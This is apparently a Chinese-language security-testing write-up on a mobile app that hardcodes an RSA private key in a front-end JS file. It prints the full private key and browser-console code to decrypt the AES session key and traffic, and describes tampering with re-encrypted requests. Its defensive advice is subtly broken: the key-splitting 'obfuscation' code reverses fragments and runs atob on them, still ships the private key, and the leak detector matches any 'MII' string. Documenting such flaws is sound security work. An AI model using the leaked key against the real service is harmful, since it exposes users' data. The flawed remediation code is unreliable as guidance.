从JS文件泄露到数据解密:一次RSA私钥暴露的实战复盘
1. 事件背景与问题发现
那天我正在对一个移动应用进行常规安全测试,发现所有请求和响应数据都被加密了。初步判断是AES加密,但尝试了各种常见测试方法都无功而返。就在准备放弃时,我习惯性地翻查了前端JS文件,突然在datalk-crypto.js中发现了异常——这里竟然硬编码了完整的RSA公私钥对!
更令人惊讶的是,这个文件还包含了RSA和AES的完整加密实现,而且关键函数都没有做代码混淆。继续分析发现,应用使用AES加密业务数据(endata字段),而AES密钥(ranStr)是通过RSA加密后传输的(enkey字段)。这意味着只要获取RSA私钥,就能解密出AES密钥,进而解密所有业务数据。
2. 技术原理分析
2.1 混合加密机制解析
这套系统采用了典型的RSA+AES混合加密方案:
- RSA非对称加密:用于安全传输AES密钥
- 公钥加密:
enkey = RSA_Encrypt(ranStr) - 私钥解密:
ranStr = RSA_Decrypt(enkey)
- 公钥加密:
- AES对称加密:用于业务数据加密
- 数据加密:
endata = AES_Encrypt(rawData, ranStr) - 数据解密:
rawData = AES_Decrypt(endata, ranStr)
- 数据加密:
2.2 关键漏洞点
问题出在以下设计缺陷:
- 私钥硬编码:私钥直接存储在客户端JS文件中
- 缺乏密钥轮换:所有会话使用相同的RSA密钥对
- 无混淆保护:加密算法实现可被直接分析
- 密钥传输设计:AES密钥通过RSA加密但私钥可获取
3. 漏洞利用实战
3.1 提取RSA私钥
首先从JS文件中提取完整的PEM格式私钥:
const privateKey = `MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAJGBH7NDV2mU5ro88K0CEJ75gXVxxPzHGUHzTdpVt9b8bWPfjAJv9c1MQ9qvOHIkVCylmVfrbEwGCIArUx3osMPkQEWulH9MaxS2PDShaz+mYzqwcV4DGzJAWK4ePmpFXFrxk63jIFLM6Lj5Quq1H7ePTZAEHIU98OQ0VttNX3zhAgMBAAECgYBj04YPNB1tt5XQomyxFeCXYTD7hZGTp3lhsO5x5Ctb2RWn1sA1D+FA95j6GQsN7HS/qOGa208SnXUJki/VLkbPJLaVY8EpBvtbx/MjmH7SWqH1jZeN6pTA4HEw56fRDY/VyjxOrEPE9zNRK4sYoyv8rrstPD1aaf2bTZ4ShnXFjQJBANX2BHLyFliL9sYUIvYmMfG/5LG0A3RUU0itNItrIB/4ck2y5IQxLwkr6YAVfPtFuA9xiLGIhs7mbO2BFS7XnDcCQQCuF9IR24jo6jiDkbc+7huePNyq6xZZFSkgBoTQQrP8xGyVIZR391wjBgWeuCbD9ylNobFF9TJM20gZN03Po5OnAkBp/VoM2vHI4WTYkMcU6qzZFfcjNIp1iQRMv0iFPAcI71koNlNPTNIBGBiuk3Z7PvlD5TkSwRAO1ETnjodA0hwXAkEAggf8uaXVztISwAK4ceJ68mfXEjphCMyLWQZFcSBBO0yjJYhdUnWJdgdrby9wlPIpAXkB5ZTMqycl5N+v2KT/BQJBALpCgJAbtdupZFhXg+lYJJ6ZnwNosCEwRlmczOG+KdoF2x88t6k37aOybiBFq750R0zDKxwoafulvPh6pQuF3wI=`;3.2 解密AES密钥
使用JSEncrypt库进行RSA解密:
// 在浏览器控制台执行 const encrypt = new JSEncrypt(); encrypt.setPrivateKey(privateKey); const decryptedKey = encrypt.decrypt("JmwLTbfe1HyBAUBwdwLeaWQZGPq+qdZ24ot1kSNgEpCXwz8eGtXpa5ci0qq7hM7WNgxxyntE4Qb1C6F4RKAPulRGKs+2DWyVh0Qa4aUhPhBzod/AXGEIzaeh/NL2WDmrXNr8GoPQSEisPpbeQEuWNHFJKQiBfcGaJh+XYTmVDEU="); console.log("AES Key:", decryptedKey);3.3 解密业务数据
获得AES密钥后,使用在线工具或crypto-js解密数据:
// 使用CryptoJS解密示例 const decryptedData = CryptoJS.AES.decrypt( encryptedEndata, decryptedKey, { mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7 } ).toString(CryptoJS.enc.Utf8);4. 完整攻击链还原
- 信息收集:分析应用网络请求,发现加密数据
- 源码审计:查找前端加密相关JS文件
- 密钥提取:从未混淆的JS中获取硬编码私钥
- 流量解密:
- 拦截获取enkey(RSA加密的AES密钥)
- 用私钥解密enkey得到ranStr
- 用ranStr解密endata获取原始数据
- 数据篡改(可选):
- 修改数据后用ranStr重新加密
- 用公钥加密ranStr替换原enkey
5. 防御方案建议
5.1 前端加密最佳实践
避免硬编码密钥:
- 使用动态密钥分发机制
- 考虑使用Web Crypto API
增强代码保护:
// 混淆后的密钥处理示例 const keyParts = [ 'MIICdwIBADANBgkqhkiG', '9w0BAQEFAASCAmEwg', // ...其他分片... ]; const privateKey = keyParts.reverse().map(p => atob(p)).join('');传输层优化:
- 每个会话使用临时RSA密钥对
- 实现完善的密钥轮换机制
5.2 服务端检测方案
# 示例:检测异常解密请求 from cryptography.hazmat.primitives import serialization from cryptography.hazmat.backends import default_backend def detect_privatekey_leak(requests): suspicious_patterns = [ "MII", "BEGIN RSA PRIVATE KEY", "Proc-Type: 4,ENCRYPTED" ] return any(pattern in req.body for pattern in suspicious_patterns)6. 深度防护策略
6.1 多层加密体系
建议采用以下架构:
- 传输层:TLS 1.3 + 证书固定
- 应用层:
- 临时密钥交换(ECDHE)
- 每会话独立AES密钥
- 数据层:敏感字段单独加密
6.2 实时监控方案
// 前端密钥使用监控 const originalDecrypt = JSEncrypt.prototype.decrypt; JSEncrypt.prototype.decrypt = function(message) { logKeyUsage(this.getPrivateKey()); return originalDecrypt.call(this, message); };这个案例让我深刻体会到,安全是一个系统工程。前端加密若实施不当,反而会制造虚假的安全感。在实际项目中,必须建立从代码审计到运行时监控的完整防护体系,才能真正保护数据安全。
